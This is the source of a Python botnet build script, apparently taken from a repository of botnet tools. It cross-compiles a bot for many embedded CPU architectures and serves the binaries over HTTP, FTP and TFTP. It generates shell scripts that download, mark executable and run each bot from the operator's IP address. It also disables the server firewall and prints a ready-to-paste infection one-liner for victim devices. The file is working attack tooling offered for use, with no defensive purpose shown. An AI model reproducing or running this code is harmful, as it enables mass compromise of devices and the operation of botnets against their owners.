Path: blob/master/Botnets/BOT COMPILERS/NSA-edited.py
5038 views
import subprocess, sys12print('\x1b[31m###############################################################################')3print('\x1b[31m* ___ __________ ____ _______ _____ _______________.___. ___ *')4print('\x1b[31m* / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ *')5print('\x1b[31m* \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ *')6print('\x1b[31m* | | \ | / | \/ | \ | \\____ | *')7print('\x1b[31m* |______ / |___\____|__ /\____|__ /____|_ // ______| *')8print('\x1b[31m* \/ \/ \/ \/ \/ *')9print('\x1b[31m###############################################################################')10print('\x1b[31mNSA-edited.py | BUILD DATE: 7-7-16\r\n')11print('\x1b[31mUsage: python NSA-edited.py [BOTNAME.c] [IP ADDRESS] DONT BE A DUMBASS AND RUN IT OTHERWISE')1213if len(sys.argv[2]) != 0:14ip = sys.argv[2]15else:16print("\x1b[0;31mIncorrect Usage!")17print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")18exit(1)1920bot = sys.argv[1]2122yourafag = raw_input("Get arch's? Y/n:")23if yourafag.lower() == "y":24get_arch = True25else:26get_arch = False27depends = raw_input("Install Dependencies? Y/n:")28if depends.lower() == "y":29install_depends = True30else:31install_depends = False32if install_depends == True:33print('Installing Dependencies')34run('yum install perl -y')35run('yum install gcc -y')36run('yum install gcc-c++ -y')37run('yum install cpan -y')38run('yum install httpd -y')39run('yum install tftp -y')40run('yum install screen -y')41run('yum install nano -y')42run('yum install unzip -y')43run('yum install tar -y')44run('yum install wget -y')45run('yum install curl -y')46run('yum install busybox -y')47run('yum install python-paramiko -y')48495051botnames = [52"jackmymips", #mips53"jackmymipsel", #mipsel54"jackmysh4", #sh455"jackmyx86", #x8656"jackmyarmv6", #Armv6l57"jackmyi686", #i68658"jackmypowerpc", #ppc59"jackmyi586", #i58660"jackmym86k", #m68k61"jackmysparc", #sparc62"jackmyarmv4", #armv4l63"jackmyarmv5", #armv5l64"jackmypowerpc440" #ppc440fp65]6667getarch = [68'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',69'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',70'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',71'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',72'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',73'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',74'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',75'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',76'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',77'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',78'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',79'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',80'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2'81]8283ccs = [84"cross-compiler-mips",85"cross-compiler-mipsel",86"cross-compiler-sh4",87"cross-compiler-x86_64",88"cross-compiler-armv6l",89"cross-compiler-i686",90"cross-compiler-powerpc",91"cross-compiler-i586",92"cross-compiler-m68k",93"cross-compiler-sparc",94"cross-compiler-armv4l",95"cross-compiler-armv5l",96"cross-compiler-powerpc-440fp"97]9899def run(cmd):100subprocess.call(cmd, shell=True)101102run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")103104if get_arch == True:105run("rm -rf cross-compiler-*")106107print("Downloading Architectures")108109for arch in getarch:110run("wget " + arch + " --no-check-certificate >> /dev/null")111run("tar -xvf *tar.bz2")112run("rm -rf *tar.bz2")113114print("Cross Compilers Downloaded...")115116num = 0117for cc in ccs:118arch = cc.split("-")[2]119run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + botnames[num] + " " + bot + " > /dev/null")120num += 1121122print("Cross Compiling Done!")123print("Setting up your httpd and tftp")124125run("yum install httpd -y")126run("service httpd start")127run("yum install xinetd tftp tftp-server -y")128run("yum install vsftpd -y")129run("service vsftpd start")130131run('''echo -e "# default: off132# description: The tftp server serves files using the trivial file transfer \133# protocol. The tftp protocol is often used to boot diskless \134# workstations, download configuration files to network-aware printers, \135# and to start the installation process for some operating systems.136service tftp137{138socket_type = dgram139protocol = udp140wait = yes141user = root142server = /usr/sbin/in.tftpd143server_args = -s -c /var/lib/tftpboot144disable = no145per_source = 11146cps = 100 2147flags = IPv4148}149" > /etc/xinetd.d/tftp''')150run("service xinetd start")151152run('''echo -e "listen=YES153local_enable=NO154anonymous_enable=YES155write_enable=NO156anon_root=/var/ftp157anon_max_rate=2048000158xferlog_enable=YES159listen_address='''+ ip +'''160listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')161run("service vsftpd restart")162163for i in botnames:164run("cp " + i + " /var/www/html")165run("cp " + i + " /var/ftp")166run("mv " + i + " /var/lib/tftpboot")167168run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')169run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')170run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')171172run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')173run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')174run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')175176run('echo -e "#!/bin/bash" > /var/www/html/gtop.sh')177178for i in botnames:179run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/gtop.sh')180run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')181run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')182run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')183184print('Stoping Iptables')185run("service iptables stop")186run("chkconfig iptables off")187print('Restarting Xinetd')188run("service xinetd restart")189print('Restarting Httpd')190run("service httpd restart")191192print('Changing The Ulimit')193run('ulimit -Hn 999999; ulimit -Sn 99999')194run('ulimit -u 999999;ulimit -n 999999')195run('sysctl -w fs.file-max=999999 >/dev/null')196run('echo -e "ulimit -u 999999">> ~/.bashrc')197run('echo -e "ulimit -n 99999" >> ~/.bashrc')198199print("\x1b[37mRecoded By ~B1NARY\x1b[0m")200print("\x1b[37mSkype: b1narythag0d | XMPP: [email protected]")201print("\x1b[32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")202203